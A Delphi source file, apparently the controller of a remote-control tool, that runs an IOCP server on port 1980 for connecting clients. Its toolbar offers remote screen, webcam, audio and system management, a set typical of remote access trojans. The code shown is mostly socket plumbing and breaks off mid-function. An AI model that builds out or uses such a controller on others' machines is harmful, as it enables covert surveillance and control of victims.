mainwindow.pas

iocp远控比较完整的代码.iocp far more complete control of the code

unit MainWindow;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, ToolWin, ComCtrls, ImgList, XPMan, Buttons, Math, AboutUnit,
  StdCtrls, ExtCtrls, Winsock2, IocpHerder, mssock, IocpUnit,
  ComObj, xmldom, XMLIntf, msxmldom, PublicFunctionUnit,
  XMLDoc, FileAndClientInfoCtrlUnit;  //
  
type
  TMainForm = class(TForm)
    StatusBarMsg: TStatusBar;
    IMToolBoorEnbel: TImageList;
    XPManifest1: TXPManifest;
    IMToolBoorDisEnbel: TImageList;
    MainMenu: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    ImageListSmall: TImageList;
    N5: TMenuItem;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N12: TMenuItem;
    N14: TMenuItem;
    MemuToolbar: TImageList;
    MemoMsg: TMemo;
    Splitter1: TSplitter;
    ToolBar3: TToolBar;
    TBConfigServer: TToolButton;
    ToolButton3: TToolButton;
    TBViewScreen: TToolButton;
    TBViewWebCam: TToolButton;
    TBReceiceAudio: TToolButton;
    ToolButton7: TToolButton;
    TBSystemManage: TToolButton;
    ToolButton11: TToolButton;
    TBAbout: TToolButton;
    TBClose: TToolButton;
    PopupMenu2: TPopupMenu;
    N37: TMenuItem;
    N38: TMenuItem;
    N39: TMenuItem;
    N40: TMenuItem;
    N41: TMenuItem;
    ChangeRemoteNick: TMenuItem;
    LVServerList: TListView;
    HeartCheckTimer: TTimer;
    procedure TBCloseClick(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure TBViewScreenClick(Sender: TObject);
    procedure TBAboutClick(Sender: TObject);
    procedure TBViewWebCamClick(Sender: TObject); 
    procedure ChangeRemoteNickClick(Sender: TObject);
    procedure TBSystemManageClick(Sender: TObject);
    procedure LVServerListColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure LVServerListCompare(Sender: TObject; Item1, Item2: TListItem;
      Data: Integer; var Compare: Integer);
    procedure HeartCheckTimerTimer(Sender: TObject);
  private
    //进程列表排序
    ClientListSortCol : Integer;
    ClientListSortWay : Integer;
    function PostAcceptEx(count:Integer):Boolean;
    function PostOneAcceptEx():Boolean;
    function RegAcceptEvent:boolean;
    procedure CleanUp();     //关闭服务器
    procedure StartIOCPServer; 
    { Private declarations }
  public
    { Public declarations }
  end;
      
var
  MainForm: TMainForm;

implementation

  uses DisplayRemoteScreenUnit, VideoFormUnit;

{$R *.dfm}


(*-------------------------以下主要进行acceptex的请求的-----------------------------*)

function TMainForm.RegAcceptEvent: boolean;
var
  nRet : Integer;
begin
  eventarray[1] := CreateEvent(nil, FALSE, FALSE, nil);
  if (eventarray[1] = 0) then
  begin
    result := false;
    exit;
  end;
  //将事件关联到监听套接字上，响应FD_ACCEPT通知
  nRet := WSAEventSelect(g_listensocket, eventarray[1], FD_ACCEPT);
  if(nRet <> 0) then
  begin 
    result := false;
    exit;
  end;
  //创建关闭服务器事件,手动设置其状态 第二个参数为True
  eventarray[0] := CreateEvent(nil, TRUE, FALSE, nil);
  result := true;
end;

function TMainForm.PostAcceptEx(count: Integer): Boolean;
var
  i : integer;
  bret : boolean;
begin
  //省略...～～
end;

function TMainForm.PostOneAcceptEx: Boolean;
var
  dwBytes : DWORD;
  bRet : Boolean;
  tmpsocket : Tsocket;
  ovlap_prt : PPerHandleData;
begin
  tmpsocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, WSA_FLAG_OVERLAPPED);
  if tmpsocket = Invalid_Socket then
  begin
    closesocket(g_listensocket);
    WSACleanup();
    result := false;
    exit;
  end;
  MakeOverlappedPlus(ovlap_prt, IO_ACCEPT); //创建一个重叠结构
  InitIoContext(ovlap_prt);
  ovlap_prt^.Socket := tmpsocket;
  dwBytes := 0;
  bRet := lpAcceptEx(g_ListenSocket, ovlap_prt^.Socket, ovlap_prt^.ptrBuffer^.buf,
    0, SizeOf(TSockAddr) + 16, SizeOf(TSockAddr) + 16,
    @dwBytes, POverlapped(@ovlap_prt^.Overlapped));
  if (not bRet) and (WSAGetLastError <> ERROR_IO_PENDING) then
  begin
    //error occured
    FreeOverlappedPlus(ovlap_prt);
    closesocket(tmpsocket);
    result := false;
    exit;
  end;
  result := true;
end;

(*-------------------以下主要进行初始化socket，并开启iocp--------------------*)

procedure TMainForm.StartIOCPServer;
var
  SystemInfo : TSystemInfo;
  i : Integer;
  ListenAddr : TSockAddr;
  TempworkerThread : TworkerThread;
  MyacceptexThread : TAcceptexThread;
begin
  if WSAStartUp($202, wsData) <> 0 then
  begin
    WSACleanup();
    self.MemoMsg.Lines.Add('加载winsock单元失败');
    Exit;
  end;
  //创建完成端口
  g_CompletionPort := CreateIOCompletionPort(INVALID_HANDLE_VALUE,0,0,0);
  if g_CompletionPort = 0 then
  begin
    self.MemoMsg.Lines.Add(SysErrorMessage(GetLastError));
    WSACleanup();
    Exit;
  end;
  //创建工作者线程
  Windows.GetSystemInfo(SystemInfo);
  g_workerthreadcount := SystemInfo.dwNumberOfProcessors * 2 + 1;
  setLength(g_hWorkerThreads, g_workerthreadcount);  //
  for i := 0 to g_workerthreadcount - 1 do
  begin
    TempworkerThread := TworkerThread.create(FALSE, i + 1);
    g_hWorkerThreads[i]:= TempworkerThread.Handle;
  end;
  //创建listen socket
  g_listensocket := WSASocket(PF_INET, SOCK_STREAM, 0, nil, 0, WSA_FLAG_OVERLAPPED);
  if g_listensocket = INVALID_SOCKET then
  begin
    closesocket(g_listensocket);
    WSACleanup();
    self.MemoMsg.Lines.Add(SysErrorMessage(GetLastError));
  end;
  //将Listent socket 与完成端口绑定起来哟
  CreateIoCompletionPort(THANDLE(g_listensocket), g_CompletionPort, 0, 0);
  //将Listen socket绑定地址
  FillChar(ListenAddr, SizeOf(ListenAddr), 0);
  ListenAddr.sin_family := AF_INET;
  ListenAddr.sin_port := htons(1980);
  ListenAddr.sin_addr.S_addr := INADDR_ANY;
  if bind(g_Listensocket, @ListenAddr, sizeof(ListenAddr)) = SOCKET_ERROR then
  begin
    closesocket(g_Listensocket);
    WSACleanup();
    self.MemoMsg.Lines.Add('绑定套接字失败');
  end;
  //开始监听
  listen(g_Listensocket, 10);
  lpAcceptex := nil;
  //取得函数Acceptex
  lpAcceptex := WSAGetExtensionFunctionPointer(g_Listensocket, WSAID_ACCEPTEX);
  if(not (Assigned(lpAcceptex))) then
  begin
    closesocket(g_listensocket);
    WSACleanup();
    self.MemoMsg.Lines.Add('取得函数Acceptex地址失败,错误代码是：' + SysErrorMessage(GetLastError));
    Exit;
  end;
  //发出10个AcceptEx函数调用
  self.PostAcceptEx(10);
  //注册事件
  self.RegAcceptEvent();
  //创建accpetex线程,主要是响应事件通知，
  //在AcceptEx调用用完以后，投送新的AcceptEx函数调用
  //将新连接进来的socket与完成端口关联在一起的工作是是workerthread里面进行的
  MyacceptexThread := TAcceptexThread.create(FALSE, 10);
  g_hAcceptThread := MyacceptexThread.Handle;
  self.MemoMsg.Lines.Clear;
  self.MemoMsg.Lines.Add('正在1980端口上监听服务端的连接...');
end; 

//清除iocp相关的数据，卸载socket资源
procedure TMainForm.CleanUp;
var
  i : cardinal;
  bret : cardinal;
  msg : TMsg;
begin
  //设置为有信号的，通知AcceptexThread结束
  SetEvent(eventarray[0]);
  WaitForSingleObject(g_hAcceptThread, 50);
  //通知工作者线程结束
  for i := 0 to g_workerthreadcount - 1 do
  begin
    PostQueuedCompletionStatus(g_CompletionPort, 0, 0, Pointer(SHUTDOWN_FLAG));
  end;
  //等待工作者线程结束
  while (TRUE) do
  begin
    bret := MsgWaitForMultipleObjects(g_workerthreadcount, g_hWorkerThreads[0],
      False, INFINITE, QS_ALLINPUT);
    if (bret = WAIT_FAILED) then Break
    else
    begin
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE);
      DispatchMessage(msg);
    end;
  end;
  closesocket(g_listensocket);
  CloseHandle(g_CompletionPort);
  closeHandle(eventarray[1]);
  closeHandle(eventarray[0]);
  WSACleanup();
end;

(*----------------------以下主要进行响应操作命令的功能区-----------------------*)

procedure TMainForm.TBViewScreenClick(Sender: TObject);
var
  InternalIP, InternalAddress : string;
  myDisplayRemoteScreen : TDisplayRemoteScreen;
  myPHandledata : PPerHandleData;
  CMDHeader : TInterChangeHeader;
begin
  //如果没有选行,则退出
  if (LVServerList.SelCount = 0) then
  begin
    Exit;
  end;
  //得到单IO数据指针
  myPHandledata := PPerHandleData(
    StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[8]));
  //判断是否有实例已经建立
  if Assigned(TDisplayRemoteScreen(myPHandledata.AllCtrlInstance.CapScreenInstance)) then
  begin
    myDisplayRemoteScreen := TDisplayRemoteScreen(myPHandledata.AllCtrlInstance.CapScreenInstance);
    BringWindowToTop(myDisplayRemoteScreen.Handle);